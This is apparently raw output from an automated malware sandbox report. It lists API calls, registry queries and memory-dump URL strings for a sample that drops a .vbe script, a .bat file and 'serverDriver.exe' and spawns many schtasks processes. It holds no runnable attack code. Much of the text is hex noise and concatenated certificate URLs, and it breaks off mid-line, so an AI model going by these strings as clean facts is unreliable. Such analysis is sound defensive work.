00000000-00005676)34:T1719,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000058e4280002000000000000001000000098e32800b4e32800c976917500005a0000001400da76917560919ce50000000000007f6501000000935c7d770000000000000000000000007ce32800010000004ce62800bd0693753404259000000000bd147f6528aa5e00 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c470a7468345f008c470a740000000068345f0090f92800086d7c77188184770000000014fa28000000000084f92800d0f9280095e17877a8f1eb00feffffff6b2c7d7731199275021000000000000000000100a4f92800c89f7c778c470a740000000000000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebcf76c8f466000060fd7f9a5c7d7700d0fd7fa8c7a6024460fd7f00000000400000003f000000220000000060fd7f9cc7a602c15c7d7760828477220000000060fd7f9a5c7d7700d0fd7fc0c7a60257897c778083847713179275d8ebcf76 (UID: 00000000-00005736) "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005736) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000d4ec1700dcec17003a179275000000000000000088ed17000200000000000000000000000c0000000200000001011700c2ebcf75ec5b7b774da09175e8000000fc577b770a9f917540010000ffffffff24ed1700000000000000000008ed170020ed1700010000000000000002000000 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000095e17877edfeeb00fefffffff5f67c77634d7d77f83b360010156f6c88086f00b2f47c77a5158077f8e3170000006e6c00006e6c804d7d77b9158077f0000000f0006e6c0000000064e317005c004300f8e417000000000001000000c8e3170040f57c770000000000000000b4e31700 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000024bf38000100010040e6227624e3170024e3170024597d770000000068e8227600f5360000000000110000004ce31700575a7d7700000000030000000200000000000000880000000100000064e31700459d28770000280000000000800000000200000000001800dc1a6e6c78e31700 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000283f3b6c08000000fa3e3b6c36985dec0200000068423b6c000018002f183b6cc8a12800c0a1280068d3170068423b6c28d41700ce853c6caa747180fefffffffa3e3b6c783e3b6c2f183b6cbcd317001e3e3b6c2f183b6c67c1287744603d6cd8d3170046423b6c44603d6c00000000 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01af46a08000000c41af46a75f754ec02000000d41cf46a00001800e616f46a58a2280048a2280000d51700d0f0f56ac0d5170053aff56a8938b786feffffffc41af46a421af46ae616f46a54d51700d91bf46ae616f46a67c12877ae059575745795750000000000000000cc929175 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01af46a08000000c41af46a75f754ec02000000d41cf46a0000180002000000000000008800000000d5170040d51700459d287700002800000000008000000002000000000018009813756b54d51700 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005676) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebcf7660953a000050fd7f9a5c7d7700a0fd7f0cc388024450fd7f00000000400000003f000000290000000050fd7f00c38802c15c7d7760828477290000000050fd7f9a5c7d7700a0fd7f24c3880257897c778083847713179275d8ebcf76 (UID: 00000000-00005676) "serverDriver.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000064007700500072006f006300650073007300490064002c0030002c0030002c002c0031003700380034000d000a0000006c00330032002e0064006c006c002c0022003200350032003a00300036003a00350035002e0034003500340022002c00520058003d0030002c00500058003d00 (UID: 00000000-00006020)35:T73b,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "serverDriver.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")36:T51b,Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp")37:T4091,"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe" called "LoadLibrary" with a parameter " - Source: "00000000-00003048.00000000.67625.73681000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003688.00000000.76206.02920000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003688.00000001.78124.02920000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003688.00000002.80044.02920000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\users\izfmhic\appdata\local\microsoft\windows" - Source: "00000000-00003688.00000002.80044.1D2F0000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json03/28" - Source: "00000000-00003688.00000002.80044.1F020000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,003/28" - Source: "00000000-00003688.00000002.80044.1F020000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004796.00000000.71247.03090000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004796.00000001.73167.03090000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004796.00000002.75084.03090000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004892.00000000.71263.02A00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004892.00000001.73183.02A00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004892.00000002.75100.02A00000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005180.00000000.71358.4B198000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005180.00000000.71358.4B198000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005180.00000000.71358.4B198000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005180.00000000.71358.59012000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e,0*0globalsign" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;grluz246z0a1t.com1" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>p)+hp)+hmicrosaoc1'0%ncipher" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005180.00000000.71358.93950000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005180.00000000.71358.ABB60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005180.00000000.71358.ABB60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005180.00000000.71358.ABB60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00005180.00000000.71358.ABB60000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@a!oh$vkt7" - Source: "00000000-00005180.00000000.71358.ABEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0ft" - Source: "00000000-00005180.00000000.71358.ABEA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00005820.00000000.68069.02BE0000.00000002.mdmp") Found URL "http://www.microsoft.com0dpcba0g7t" - Source: "00000000-00005820.00000000.68069.02BE0000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005820.00000000.68069.02BE0000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0=ymxk" - Source: "00000000-00005820.00000000.68069.02BE0000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005820.00000000.68069.02C00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005820.00000001.69988.02C00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005820.00000002.71911.02C00000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00005820.00000002.71911.1D5C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0dr5r" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcdr5r" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0963" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005820.00000002.71911.1E150000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%ydigicert" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0nr$-^/-mo)cf-?verisign," - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?geotrust" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0izfmhicappdatalocaltemphdvdfa" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07usersizfmhicappdataroamingmicrosoft1402lmemgt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005820.00000002.71911.1EEB0000.00000004.mdmp")61:T4fb,"serverDriver.exe" called "GetComputerNameW" (UID: 00000000-00005820) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00006220) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007668) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007884) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00005184) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00008156) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007480) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00004000) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00002748) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007768) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007704) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00008148) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00003792) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00004296) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00004564) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00003192) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00003092) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00007988) "schtasks.exe" called "GetComputerNameW" (UID: 00000000-00002840)62:Ta3f,"bounty-11274888870579111.exe" called "FindFirstFileW" with parameter C:\bounty-11274888870579111.exe (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter serverDriver.exe (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter \\?\C:\msComwin\serverDriver.exe (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter cZA5KaguC4o8PZDkwLzCSV.vbe (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter \\?\C:\msComwin\cZA5KaguC4o8PZDkwLzCSV.vbe (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat (UID: 00000000-00000764) "bounty-11274888870579111.exe" called "FindFirstFileW" with parameter \\?\C:\msComwin\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat (UID: 00000000-00000764) "serverDriver.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005820) "serverDriver.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 